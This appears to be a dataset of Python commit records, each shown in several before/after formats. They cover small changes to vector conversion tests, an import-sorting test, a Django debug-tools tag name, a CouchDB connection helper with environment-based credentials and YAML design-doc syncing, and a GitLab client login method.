import pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y] tests/convert: Add a round-trip test for tuple and list conversions
import pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y] @pytest.mark.parametrize('coerce', [tuple, list]) @given(x=vectors()) def test_convert_roundtrip(coerce, x: Vector2): assert x == Vector2(coerce(x))
<commit_before>import pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y] <commit_msg>tests/convert: Add a round-trip test for tuple and list conversions<commit_after>
import pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y] @pytest.mark.parametrize('coerce', [tuple, list]) @given(x=vectors()) def test_convert_roundtrip(coerce, x: Vector2): assert x == Vector2(coerce(x))
import pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y] tests/convert: Add a round-trip test for tuple and list conversionsimport pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y] @pytest.mark.parametrize('coerce', [tuple, list]) @given(x=vectors()) def test_convert_roundtrip(coerce, x: Vector2): assert x == Vector2(coerce(x))
<commit_before>import pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y] <commit_msg>tests/convert: Add a round-trip test for tuple and list conversions<commit_after>import pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y] @pytest.mark.parametrize('coerce', [tuple, list]) @given(x=vectors()) def test_convert_roundtrip(coerce, x: Vector2): assert x == Vector2(coerce(x))
d71b2f3b8943465ebe04aa9926cba0159402da96
tests/test_sorting.py
tests/test_sorting.py
import os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent(''' from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''')
import os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent('''\ from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''')
Remove leading empty line in multiline test
Remove leading empty line in multiline test
Python
mit
fbergroth/autosort
import os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent(''' from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''') Remove leading empty line in multiline test
import os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent('''\ from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''')
<commit_before>import os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent(''' from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''') <commit_msg>Remove leading empty line in multiline test<commit_after>
import os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent('''\ from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''')
import os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent(''' from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''') Remove leading empty line in multiline testimport os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent('''\ from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''')
<commit_before>import os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent(''' from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''') <commit_msg>Remove leading empty line in multiline test<commit_after>import os from textwrap import dedent from autosort.sorting import sort_imports def test_regular(): path = os.path.abspath('test.py') rv = sort_imports(dedent('''\ from tokenize import COMMENT, INDENT, ENDMARKER from tokenize import (DEDENT, # noqa NEWLINE, STRING, NAME) '''), path) assert rv == dedent('''\ from tokenize import (COMMENT, DEDENT, ENDMARKER, # noqa INDENT, NAME, NEWLINE, STRING) # noqa ''')
42bd3f35445e5995b0affc61c4b5a4c226587ae4
debugtools/__init__.py
debugtools/__init__.py
# following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debug_tags")
# following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debugtools_tags")
Fix own deprecation warning for django < 1.9
Fix own deprecation warning for django < 1.9
Python
apache-2.0
edoburu/django-debugtools,edoburu/django-debugtools,edoburu/django-debugtools
# following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debug_tags") Fix own deprecation warning for django < 1.9
# following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debugtools_tags")
<commit_before># following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debug_tags") <commit_msg>Fix own deprecation warning for django < 1.9<commit_after>
# following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debugtools_tags")
# following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debug_tags") Fix own deprecation warning for django < 1.9# following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debugtools_tags")
<commit_before># following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debug_tags") <commit_msg>Fix own deprecation warning for django < 1.9<commit_after># following PEP 440 __version__ = "1.5" VERSION = (1, 5) import django if django.VERSION < (1,9): # Make sure the ``{% print %}`` is always available, even without a {% load debugtools_tags %} call. # This feature is no longer available in Django 1.9, which adds an explicit configuration for it: # see: https://docs.djangoproject.com/en/1.9/releases/1.9/#django-template-base-add-to-builtins-is-removed # # This function is used here because the {% print %} tag is a debugging aid, # and not a tag that should remain permanently in your templates. Convenience is preferred here. # from django.template.base import add_to_builtins add_to_builtins("debugtools.templatetags.debugtools_tags")
8415776bb4d5b402aef43ab777072060420bd6b4
cloudly/ccouchdb.py
cloudly/ccouchdb.py
import os import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=5984, username=None, password=None): port = 5984 host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") url = "http://{host}:{port}".format( host=host, port=port ) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) log.info("Connecting to CouchDB server at {}".format(url)) return couchdb.Server(url)
import os import yaml import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=None, username=None, password=None): host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") port = port or os.environ.get("COUCHDB_PORT", 5984) username = username or os.environ.get("COUCHDB_USERNAME", None) password = password or os.environ.get("COUCHDB_PASSWORD", None) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) else: url = "http://{host}:{port}".format( host=host, port=port ) log.info("{} port {}".format(host, port)) return couchdb.Server(url) def sync_design_doc(database, design_filename): """Sync a design document written as a YAML file.""" with open(design_filename) as design_file: design_doc = yaml.load(design_file) # Delete old document, to avoid ResourceConflict exceptions. old = database.get(design_doc['_id']) if old: database.delete(old) database.save(design_doc)
Add auth and a function to sync a design doc.
Add auth and a function to sync a design doc. With environment variables COUCHDB_USERNAME and COUCHDB_PASSWORD defined, will connect as that user. Now uses COUCHDB_PORT if defined. Add a function to save a design document defined as a YAML file. Why YAML? Because it's very easy to add Javascript code with syntax highlighting. Plus, the general format is even lighter than other format like JSON.
Python
mit
ooda/cloudly,ooda/cloudly
import os import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=5984, username=None, password=None): port = 5984 host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") url = "http://{host}:{port}".format( host=host, port=port ) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) log.info("Connecting to CouchDB server at {}".format(url)) return couchdb.Server(url) Add auth and a function to sync a design doc. With environment variables COUCHDB_USERNAME and COUCHDB_PASSWORD defined, will connect as that user. Now uses COUCHDB_PORT if defined. Add a function to save a design document defined as a YAML file. Why YAML? Because it's very easy to add Javascript code with syntax highlighting. Plus, the general format is even lighter than other format like JSON.
import os import yaml import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=None, username=None, password=None): host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") port = port or os.environ.get("COUCHDB_PORT", 5984) username = username or os.environ.get("COUCHDB_USERNAME", None) password = password or os.environ.get("COUCHDB_PASSWORD", None) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) else: url = "http://{host}:{port}".format( host=host, port=port ) log.info("{} port {}".format(host, port)) return couchdb.Server(url) def sync_design_doc(database, design_filename): """Sync a design document written as a YAML file.""" with open(design_filename) as design_file: design_doc = yaml.load(design_file) # Delete old document, to avoid ResourceConflict exceptions. old = database.get(design_doc['_id']) if old: database.delete(old) database.save(design_doc)
<commit_before>import os import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=5984, username=None, password=None): port = 5984 host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") url = "http://{host}:{port}".format( host=host, port=port ) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) log.info("Connecting to CouchDB server at {}".format(url)) return couchdb.Server(url) <commit_msg>Add auth and a function to sync a design doc. With environment variables COUCHDB_USERNAME and COUCHDB_PASSWORD defined, will connect as that user. Now uses COUCHDB_PORT if defined. Add a function to save a design document defined as a YAML file. Why YAML? Because it's very easy to add Javascript code with syntax highlighting. Plus, the general format is even lighter than other format like JSON.<commit_after>
import os import yaml import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=None, username=None, password=None): host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") port = port or os.environ.get("COUCHDB_PORT", 5984) username = username or os.environ.get("COUCHDB_USERNAME", None) password = password or os.environ.get("COUCHDB_PASSWORD", None) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) else: url = "http://{host}:{port}".format( host=host, port=port ) log.info("{} port {}".format(host, port)) return couchdb.Server(url) def sync_design_doc(database, design_filename): """Sync a design document written as a YAML file.""" with open(design_filename) as design_file: design_doc = yaml.load(design_file) # Delete old document, to avoid ResourceConflict exceptions. old = database.get(design_doc['_id']) if old: database.delete(old) database.save(design_doc)
import os import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=5984, username=None, password=None): port = 5984 host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") url = "http://{host}:{port}".format( host=host, port=port ) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) log.info("Connecting to CouchDB server at {}".format(url)) return couchdb.Server(url) Add auth and a function to sync a design doc. With environment variables COUCHDB_USERNAME and COUCHDB_PASSWORD defined, will connect as that user. Now uses COUCHDB_PORT if defined. Add a function to save a design document defined as a YAML file. Why YAML? Because it's very easy to add Javascript code with syntax highlighting. Plus, the general format is even lighter than other format like JSON.import os import yaml import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=None, username=None, password=None): host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") port = port or os.environ.get("COUCHDB_PORT", 5984) username = username or os.environ.get("COUCHDB_USERNAME", None) password = password or os.environ.get("COUCHDB_PASSWORD", None) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) else: url = "http://{host}:{port}".format( host=host, port=port ) log.info("{} port {}".format(host, port)) return couchdb.Server(url) def sync_design_doc(database, design_filename): """Sync a design document written as a YAML file.""" with open(design_filename) as design_file: design_doc = yaml.load(design_file) # Delete old document, to avoid ResourceConflict exceptions. old = database.get(design_doc['_id']) if old: database.delete(old) database.save(design_doc)
<commit_before>import os import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=5984, username=None, password=None): port = 5984 host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") url = "http://{host}:{port}".format( host=host, port=port ) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) log.info("Connecting to CouchDB server at {}".format(url)) return couchdb.Server(url) <commit_msg>Add auth and a function to sync a design doc. With environment variables COUCHDB_USERNAME and COUCHDB_PASSWORD defined, will connect as that user. Now uses COUCHDB_PORT if defined. Add a function to save a design document defined as a YAML file. Why YAML? Because it's very easy to add Javascript code with syntax highlighting. Plus, the general format is even lighter than other format like JSON.<commit_after>import os import yaml import couchdb from cloudly.memoized import Memoized import cloudly.logger as logger log = logger.init(__name__) @Memoized def get_server(hostname=None, port=None, username=None, password=None): host = hostname or os.environ.get("COUCHDB_HOST", "127.0.0.1") port = port or os.environ.get("COUCHDB_PORT", 5984) username = username or os.environ.get("COUCHDB_USERNAME", None) password = password or os.environ.get("COUCHDB_PASSWORD", None) if username is not None and password is not None: url = "http://{username}:{password}@{host}:{port}".format( host=host, port=port, username=username, password=password ) else: url = "http://{host}:{port}".format( host=host, port=port ) log.info("{} port {}".format(host, port)) return couchdb.Server(url) def sync_design_doc(database, design_filename): """Sync a design document written as a YAML file.""" with open(design_filename) as design_file: design_doc = yaml.load(design_file) # Delete old document, to avoid ResourceConflict exceptions. old = database.get(design_doc['_id']) if old: database.delete(old) database.save(design_doc)
f70e0ec9ac51928fbd5ff9159859a9116227c3b9
pyglab/pyglab.py
pyglab/pyglab.py
_defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self)
_defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self) @staticmethod def login(username, password, email=None): if username is None and email is None: raise ValueError('Cannot both be `None`: `username` and `email`') params = {'password': password} if username is not None: params['login'] = username else: params['login'] = email r = ApiRequest(RequestType.POST, '/session', params) return r.content
Add capability to login through (name|email), password combination.
Add capability to login through (name|email), password combination.
Python
mit
sloede/pyglab,sloede/pyglab
_defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self) Add capability to login through (name|email), password combination.
_defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self) @staticmethod def login(username, password, email=None): if username is None and email is None: raise ValueError('Cannot both be `None`: `username` and `email`') params = {'password': password} if username is not None: params['login'] = username else: params['login'] = email r = ApiRequest(RequestType.POST, '/session', params) return r.content
<commit_before>_defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self) <commit_msg>Add capability to login through (name|email), password combination.<commit_after>
_defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self) @staticmethod def login(username, password, email=None): if username is None and email is None: raise ValueError('Cannot both be `None`: `username` and `email`') params = {'password': password} if username is not None: params['login'] = username else: params['login'] = email r = ApiRequest(RequestType.POST, '/session', params) return r.content
_defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self) Add capability to login through (name|email), password combination._defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self) @staticmethod def login(username, password, email=None): if username is None and email is None: raise ValueError('Cannot both be `None`: `username` and `email`') params = {'password': password} if username is not None: params['login'] = username else: params['login'] = email r = ApiRequest(RequestType.POST, '/session', params) return r.content
